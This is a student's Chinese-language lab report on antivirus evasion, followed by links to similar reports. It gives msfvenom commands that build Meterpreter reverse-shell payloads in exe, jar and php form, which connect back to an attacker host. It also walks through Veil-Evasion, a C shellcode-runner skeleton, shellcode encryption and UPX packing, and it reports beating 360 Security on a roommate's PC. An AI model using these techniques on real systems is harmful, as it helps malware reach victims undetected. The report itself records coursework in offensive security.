2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践

一 免杀原理与实践说明

(一)、实验说明

  • 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 任务二:通过组合应用各种技术实现恶意代码免杀(1分)

  • 任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

(二)、基础问题回答

  • 问:杀软是如何检测出恶意代码的?

    • 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件。
    • 基于行为来检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 问:免杀是做什么?
    • 通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。
  • 问:免杀的基本方法有哪些?
    • 改变特征码:

      • 只有exe——加壳
      • 有shellcode——利用shellcode生成可执行文件
      • 有源代码——用其他语言重写再编译
    • 改变行为:
      • 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
      • 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。但是,现在微软对此似乎也有所防备。我会在下面的实验过程中详细叙述这种猜想的来源。
  • 问:开启杀软能绝对防止电脑中恶意代码吗?
    • 显然不可能,如果有这种想法无疑是掩耳盗铃。。。。

二、 使用msf编码器生成后门程序及检测

1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。将其放在virscan.org中进行扫描,结果如下图所示:

可以看出,70款杀软中有51款报出了病毒。原因也可想而知,Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度,只要一有新编码算法,马上就会加到特征库里了。

2、使用msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.147 LPORT=5316 -f exe > met-encoded10.exe指令进行多次编码。

再使用VirusTotal进行扫描,一次迭代结果如下所示:

十次迭代结果如下所示:

仍然有52款杀软发现病毒(为啥一次还比十次少。。。。)。并没有什么卵用。多次编码之后的后门,还是会被大多数杀软发现并清理的。

三、其他形式的反弹代码

1. msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_java.jar

生成文件如下所示:

扫描结果如下:

2. msfvenom生成php文件

生成PHP后门程序使用命令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 x> backdoor5316_zuihaode.php(可能是因为php是。。。。)

生成文件如下所示:

扫描结果如下:

想生成更多其他形式的文件可以参考学姐的博客

三、使用veil-evasion生成后门程序及检测

安装veil-evasion的时候遇到了好多麻烦事,网速贼慢,好不容易下载好了,“展开对象”执行了俩小时还没结束,去网上也搜不到相关的原因和解释,最终还是拷贝了同学的虚拟机,如果我有机会能安装好,我会补一篇安tu装cao教程的。

1、use evasion启动evail-evasion:

2、输入命令use c/meterpreter/rev_tcp.py 进入配置界面

3、设置反弹连接IP,命令为:set LHOST 192.168.1.241,注意此处的IP是KaliIP;设置端口,命令为:set LPORT 5316:

4、输入generate生成文件,接着输入你想要playload的名字:veil_c_5316

5、保存路径为/var/lib/veil/output/compiled/veil_c_5316.exe

和以前差不多,看来去年玩烂的东西今年就被查了啊。

四. 半手工注入Shellcode并执行

在《Exp2:后门原理与实践》博客中,同样介绍了生成shellcode的方法,这次我们利用生成的shellcode编写后门程序,半手工打造恶意软件。

1、首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.147 LPORT=5316 -f c用c语言生成一段shellcode;

2、利用shellcode编写一个C语言程序后门,在windows下编译运行后,测试其可用性:

#include <windows.h>
#include <stdio.h> //data段可读写
#pragma comment(linker, "/section:.data,RWE")
//不显示窗口
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#pragma comment(linker, "/INCREMENTAL:NO") void main(){
((void(*)(void))&shellcode)();//shellcode是你生成的机器码头指针
}

不用看都能知道,直接被杀软杀掉。因为出现了shellcode,可以看出,明文shellcode见光死。

3、扫描发现,仍有很多杀软能够扫描出来:

4、此时,我的心境发生了微妙的变化,我使用了新的方法加密了shellcode,让它不以明文方式出现,下图中左边为解密出来的shellcode,右边可以看出kali已经成功获得Windows权限。(呃,这里原本有一个成功的截图,但是我看到不要放截图,就没放出来。)

5、杀软没有发现它,扫描结果仅为17%。

6、然后,我给它加了一个upx压缩壳。是没被杀出来,但是,扫描结果却没有上面乐观。

五、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

注意:由于换了网络,IP地址会发生变化,所有的程序都需要重新生成。(也有可能不会,毕竟一个宿舍一个局域网)

对舍友电脑进行免杀效果测试并回连成功(舍友的杀软为最新的360安全卫士11)

离实战还缺些什么技术或步骤?

首先,虽然程序能够不被杀软检测到,我们现在只是会一些简单的综合利用技术进行改造,但实际上病毒库时时刻刻不再更新发展,我们更需要学会多方面技术来使达到免杀的目的。

其次,但对于实战来说,恶意代码如何嵌入被攻击机中,并让被控主机运行它对我们来说还是一大问题,所以接下来要对如何伪装、吸引被供给端点击这方面进行学习。

再次,我们对于编程和计算机内部结构的了解还不够深刻,没有将知识联系起来,无法有效找出计算机的漏洞。

整体来说就是要进行信息收集、漏洞分析,然后根据漏洞构造后门,并隐藏、清理痕迹等。

2018-2019-2 20165316 『网络对抗技术』Exp3:免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  5. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  6. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  7. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  9. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  10. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 如何将WORD表格转换成EXCEL表格

    WORD和EXCEL都可以制作表格,但WORD表格与EXCEL表格之间有着很明显的差距,所以在办公中经常会需要将WORD转换成EXCEL,今天小编就教大家一招将WORD表格转换成EXCEL表格. 操作 ...

  2. IntelliJ IDEA 2017.2.6 x64 配置 tomcat 启动 maven 项目

    IntelliJ IDEA 2017.2.6 x64 配置 tomcat 启动 maven 项目 1.确认 IDEA 是否启用了 tomcat 插件 2.添加 tomcat 选择 tomcat 存放路 ...

  3. mysql - Truncated incorrect DOUBLE value: 'undefined'

    mysql - Truncated incorrect DOUBLE value: 'undefined' 我是怎么遇到这个问题的? 我要从多个表里,查询统计数据,保存到统计表里,需要执行下面这种结构 ...

  4. Android手机camera和IMU的标定

    https://qingsimon.github.io/post/2018-12-28-android%E6%89%8B%E6%9C%BA%E7%9B%B8camera%E5%92%8Cimu%E7% ...

  5. vue学习目录 vue初识 this指向问题 vue组件传值 过滤器 钩子函数 路由 全家桶 脚手架 vuecli element-ui axios bus

    vue学习目录 vue学习目录 Vue学习一之vue初识 Vue学习二之vue结合项目简单使用.this指向问题 Vue学习三之vue组件 Vue学习四之过滤器.钩子函数.路由.全家桶等 Vue学习之 ...

  6. [daily][archlinux] TODO LIST

    reminder: https://wikemacs.org/wiki/Buffer_management TO READ: https://www.kernel.org/doc/htmldocs/k ...

  7. MySQL 8.0 InnoDB新特性

    MySQL 8.0 InnoDB新特性 1.数据字典全部采用InnoDB引擎存储,支持DDL原子性.crash safe,metadata管理更完善 2.快速在线加新列(腾讯互娱DBA团队贡献) 3. ...

  8. ADB——keyevent命令

    基本格式 adb shell input keyevent xxx # xxx为具体操作对应的数字 keycode 官方 KEYCODE 链接:戳这里 0 KEYCODE_UNKNOWN 未知按键 1 ...

  9. Ipython使用指南

    一.简介 2001年,Fernando Perez为了得到一个更为高效的交互式Python解释器而启动的一个项目,IPython不仅仅是一个加强版的shell,他可以直接进行绘图操作的GUI控制台,一 ...

  10. ubuntu安装zabbix 3.2(转)

    转自:http://www.zabbix.org.cn/viewtopic.php?f=13&t=1096本人略做了写修改. 准备工作 apt-get update apt-get upgra ...